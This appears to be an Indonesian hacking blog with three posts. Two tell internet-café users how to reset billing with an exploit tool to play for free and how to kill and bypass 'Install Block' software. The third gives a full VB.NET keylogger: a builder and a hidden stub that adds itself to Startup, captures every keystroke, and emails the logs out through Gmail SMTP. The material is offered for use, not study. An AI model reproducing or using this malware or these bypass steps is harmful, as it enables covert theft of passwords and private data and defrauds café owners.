22.16
buat kamu yg maen pb di warnet tapi gk punya duit,
kamu bisa reset billing dengan billing exploder
1. Kamu harus tahu IP servernya
2. Masukkan IP server ke kotak IP
3. Masukkan Port BilingServer (default: 1500)
4. Klik ‘Connect’
5. Jika status berubah menjadi
‘Connected’, maka kamu sudah berhasil
6. Sekarang terserah kamu mau ngapain,
Reset PC kamu atau semua PC (Reset All)
7. Juga terdapat tool seperti ‘Data Chat’,
Anonymous Msg Sender, Billing Flooder, Msg Sniffer.
08.04
nah, ini request dari mas bayu, yang saya harapkan ikut PHC, eh malah g dateng,,,gpp...ne tutorialnya kalo mu ngerjain tuh warnet, eits...jangan dirusak tapi ya...
ini lanjutan dari tutorial saya yang ini guys...
http://www.phc.web.id/2011/01/instal-block-buat-apaan-sih-nah-guys.htmlnah, intinya sebel kan kalo kita ke warnet terus mau nginstal macem2 ternyata gak bisa, ya itu bisa jadi ada software instal blocknya yang ngeblock semua bentuk instalasi...
ne cara jebolnya...
- download dulu softwarenya disini...
- kalo udah, jalankan dulu programnya, tampilannya seperti dibawah ini...
Gambar 1 : Bypass - Instal Block- Nah, software ini berfungsi untuk mengembalikan password instal block ke awal, defaultnya sih admin...nanti ya coba kita liat...
- Status instal block masih dalam keadaan aktif...nah, klik aja dulu tombol kill untuk mamatikannya...
Gambar 2 : Status instal block sudah tidak aktif...- Nah, pada tahap ini jika kita tidak ingin menjebol secara keseluruhan, kita sudah bisa menginstal program pada warnet client apa aja yang kita inginkan, tapi kalo kamu belum puas dan pengen sekalian jebol tuh instal-block,,,caranya ya tinggal klik aja tombol bypass
- setelah itu tinggal masuk dan liat perubahan password pada instal block itu...
Gambar 3 : Password Install Block sudah hilang...wah kejam ya...
Gambar 4 : Kalo kita jalankan tuh software, lihat hasilnya, passwordnya udah kembali ke admin lagi...oke guys, semoga bermanfaat, untuk pengembangan bagaimana cara menjalankannya, ada dimana letak programnya...bisa hubungi saya langsung...
pastinya ne, si empunya warnet gak gitu aja ngasih kemudahan si clientnya bisa dijebal-jebol gitu aja,,,iya gak...hehehe...semangat....
00.41
untuk membuat keylogger ini kita membutuhkan program
Visual basic.net jadi wajib di install dulu VB nya atau
download disini.
mari memulai ,buka
VB.net lalu pilih
File->New project ->"Windows Forms Application" beri nama
"Logic Keylogger" lalu Ok
sekarang kita akan membuat tampilan seperti dibawah ini,masuk ke Toolbox (dikiri) dan tambahkan 2 text box,2 labels,dan satu Tombol,atur tampilan nya menjadi seperti dibawah ini
sekarang klik kanan di form dan klik view code,CTRL-A lalu delete
Paste kan code ini
Code:
Imports System.IO
Public Class Form1
Dim stub, text1, text2 As String
Const FileSplit = "@vorfin@"
Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
For Fadein = 0.0 To 1.1 Step 0.1
Me.Opacity = Fadein
Me.Refresh()
Threading.Thread.Sleep(100)
Next
End Sub
Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
text1 = TextBox1.Text
text2 = TextBox2.Text
FileOpen(1, Application.StartupPath & "\Stub.exe", OpenMode.Binary, OpenAccess.Read, OpenShare.Default)
stub = Space(LOF(1))
setelah itu pilih File-> Save All.Lalu klik Build,Build Logic Keylogger.
Oke builder uda dibuat,kita buat file stub nya
klik File -> New project->Form Application->Stub-> OK.
di form ini kita tambahkan 3 timers,di bawah kanan rubah times seperti berikut
Timer1-Interval=100
Timer2-Interval=900000
Timer3-Interval=900100
ubah nama form tersebut mnjadi "Windows Run .dll",set opacity menjadi 0% dan ubah "Show Icon In Taskbar" menjadi false.
tambahkan 3 text box seperti ini
Text Box yang gede = Text Box 1(set menjadi "Enabled=False")
Text box kiri = Text box 2
Text box kanan = Text box 3
Seperti tadi ,..Klik kanan -> view Code->delete ,paste kan code ini:
Code:
Imports System.IO
Imports System.Net.Mail
Public Class Form1
Dim result As Integer
Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer
Dim options(), text1, text2 As String
Const FileSplit = "@vorfin@"
Dim Lserver As String = IO.Path.GetFileName(Application.ExecutablePath)
Dim vDirectory As String
Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
FileOpen(1, Application.ExecutablePath, OpenMode.Binary, OpenAccess.Read, OpenShare.Shared)
text1 = Space(LOF(1))
text2 = Space(LOF(1))
FileGet(1, text1)
FileGet(1, text2)
FileClose(1)
options = Split(text1, FileSplit)
TextBox2.Text = options(1)
TextBox3.Text = options(2)
vDirectory = "C:\Documents and Settings\All Users\Start Menu\Programs\Startup"
Dim zDir As New DirectoryInfo(vDirectory)
If Not zDir.Exists Then
My.Computer.FileSystem.CopyFile(Application.ExecutablePath, "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\" & Lserver, True)
Else
My.Computer.FileSystem.CopyFile(Application.ExecutablePath, "C:\Documents and Settings\All Users\Start Menu\Programs\Startup\" & Lserver, True)
End If
Timer1.Start()
Timer2.Start()
Timer3.Start()
End Sub
Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
For i = 1 To 255
result = 0
result = GetAsyncKeyState(i)
If result = -32767 Then
TextBox1.Text = TextBox1.Text + Chr(i)
End If
Next i
End Sub
Private Sub Timer2_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer2.Tick
Dim MyMailMessage As New MailMessage
MyMailMessage.From = New MailAddress(TextBox2.Text)
MyMailMessage.To.Add(TextBox2.Text)
MyMailMessage.Subject = ("Logs")
MyMailMessage.Body = (TextBox1.Text)
Dim SMTPServer As New SmtpClient("smtp.gmail.com")
SMTPServer.Port = 587
SMTPServer.Credentials = New System.Net.NetworkCredential(TextBox2.Text, TextBox3.Text)
SMTPServer.EnableSsl = True
SMTPServer.Send(MyMailMessage)
End Sub
Private Sub Timer3_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer3.Tick
TextBox1.Clear()
End Sub
End Class
lalu save lagi dan Build
Masuk ke "C\:Dir\Logic Keylogger\bin\release" lalu tambahkan .exe di desktop
lakukan yang sama terhadap stub nya
Run "Logic Keylogger" Enter Information,klik Build.
Selamat kamu baru aja membuat kylogger pertama kamu.
Note: Stub mungkin gak perlu di delete,tapi tidak di butuhkan untuk dikirim bersama server program nya.
Note: Keylogger ini akan mencoba memasuki startup folder di XP,untuk membuat startup di vista hapus kode ini di code yang ke-2
Code:
vDirectory = "C:\Documents and Settings\All Users\Start Menu\Programs\Startup"
Dim zDir As New DirectoryInfo(vDirectory)
If Not zDir.Exists Then
My.Computer.FileSystem.CopyFile(Application.ExecutablePath, "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\" & Lserver, True)
Else
My.Computer.FileSystem.CopyFile(Application.ExecutablePath, "C:\Documents and Settings\All Users\Start Menu\Programs\Startup\" & Lserver, True)
End If
